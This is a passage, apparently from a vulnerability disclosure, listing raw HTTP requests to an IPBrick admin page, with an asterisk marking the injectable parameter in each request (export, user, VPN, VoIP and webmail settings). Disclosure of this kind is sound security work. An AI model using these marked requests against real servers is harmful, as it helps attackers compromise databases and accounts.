-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET
https://ipbrick.domain.com/corpo.php?pagina=export_access_pdf&amp;amp;dateStart=2018-03-16&amp;amp;dateEnd=2018-03-16*&amp;amp;periodo=1&amp;amp;a_ppp=ppp&amp;amp;offset=0&amp;amp;limit=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET
https://ipbrick.domain.com/corpo.php?pagina=export_access_pdf&amp;amp;dateStart=2018-03-16*&amp;amp;dateEnd=2018-03-16&amp;amp;periodo=1&amp;amp;a_ppp=ppp&amp;amp;offset=0&amp;amp;limit=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------9173100016821337141718121561\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0avoip_options_alterar_altera\x0d\x0a-----------------------------9173100016821337141718121561\x0d\x0aContent-Disposition: form-data; name=\&quot;option\&quot;\x0d\x0a\x0d\x0aintercom\x0d\x0a-----------------------------9173100016821337141718121561\x0d\x0aContent-Disposition: form-data; name=\&quot;estado_intercom_unidir\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------9173100016821337141718121561\x0d\x0aContent-Disposition: form-data; name=\&quot;extra_intercom_unidir\&quot;\x0d\x0a\x0d\x0a*62*\x0d\x0a-----------------------------9173100016821337141718121561\x0d\x0aContent-Disposition: form-data; name=\&quot;estado_intercom_bidir\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------9173100016821337141718121561\x0d\x0aContent-Disposition: form-data; name=\&quot;extra_intercom_bidir\&quot;\x0d\x0a\x0d\x0a*63\x0d\x0a-----------------------------9173100016821337141718121561\x0d\x0aContent-Disposition: form-data; name=\&quot;extra_intercom_restriction\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------9173100016821337141718121561\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------9173100016821337141718121561--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET
https://ipbrick.domain.com/corpo.php?pagina=user_sys_ver&amp;amp;f_idusersystem=172115923*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
pagina=vpn_configuracao_alterar_altera&amp;amp;f_ip_inicio_1=192&amp;amp;f_ip_inicio_2=168&amp;amp;f_ip_inicio_3=69&amp;amp;f_ip_inicio_4=90&amp;amp;f_ip_fim_1=192*&amp;amp;f_ip_fim_2=168&amp;amp;f_ip_fim_3=69&amp;amp;f_ip_fim_4=99&amp;amp;f_accao=Modify
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
pagina=vpn_configuracao_alterar_altera&amp;amp;f_ip_inicio_1=192&amp;amp;f_ip_inicio_2=168&amp;amp;f_ip_inicio_3=69&amp;amp;f_ip_inicio_4=90&amp;amp;f_ip_fim_1=192&amp;amp;f_ip_fim_2=168*&amp;amp;f_ip_fim_3=69&amp;amp;f_ip_fim_4=99&amp;amp;f_accao=Modify
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
pagina=vpn_configuracao_alterar_altera&amp;amp;f_ip_inicio_1=192&amp;amp;f_ip_inicio_2=168&amp;amp;f_ip_inicio_3=69&amp;amp;f_ip_inicio_4=90&amp;amp;f_ip_fim_1=192&amp;amp;f_ip_fim_2=168&amp;amp;f_ip_fim_3=69*&amp;amp;f_ip_fim_4=99&amp;amp;f_accao=Modify
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
pagina=vpn_configuracao_alterar_altera&amp;amp;f_ip_inicio_1=192&amp;amp;f_ip_inicio_2=168&amp;amp;f_ip_inicio_3=69&amp;amp;f_ip_inicio_4=90&amp;amp;f_ip_fim_1=192&amp;amp;f_ip_fim_2=168&amp;amp;f_ip_fim_3=69&amp;amp;f_ip_fim_4=99*&amp;amp;f_accao=Modify
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
pagina=vpn_configuracao_alterar_altera&amp;amp;f_ip_inicio_1=192*&amp;amp;f_ip_inicio_2=168&amp;amp;f_ip_inicio_3=69&amp;amp;f_ip_inicio_4=90&amp;amp;f_ip_fim_1=192&amp;amp;f_ip_fim_2=168&amp;amp;f_ip_fim_3=69&amp;amp;f_ip_fim_4=99&amp;amp;f_accao=Modify
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
pagina=vpn_configuracao_alterar_altera&amp;amp;f_ip_inicio_1=192&amp;amp;f_ip_inicio_2=168*&amp;amp;f_ip_inicio_3=69&amp;amp;f_ip_inicio_4=90&amp;amp;f_ip_fim_1=192&amp;amp;f_ip_fim_2=168&amp;amp;f_ip_fim_3=69&amp;amp;f_ip_fim_4=99&amp;amp;f_accao=Modify
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
pagina=vpn_configuracao_alterar_altera&amp;amp;f_ip_inicio_1=192&amp;amp;f_ip_inicio_2=168&amp;amp;f_ip_inicio_3=69*&amp;amp;f_ip_inicio_4=90&amp;amp;f_ip_fim_1=192&amp;amp;f_ip_fim_2=168&amp;amp;f_ip_fim_3=69&amp;amp;f_ip_fim_4=99&amp;amp;f_accao=Modify
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
pagina=vpn_configuracao_alterar_altera&amp;amp;f_ip_inicio_1=192&amp;amp;f_ip_inicio_2=168&amp;amp;f_ip_inicio_3=69&amp;amp;f_ip_inicio_4=90*&amp;amp;f_ip_fim_1=192&amp;amp;f_ip_fim_2=168&amp;amp;f_ip_fim_3=69&amp;amp;f_ip_fim_4=99&amp;amp;f_accao=Modify
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  *\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
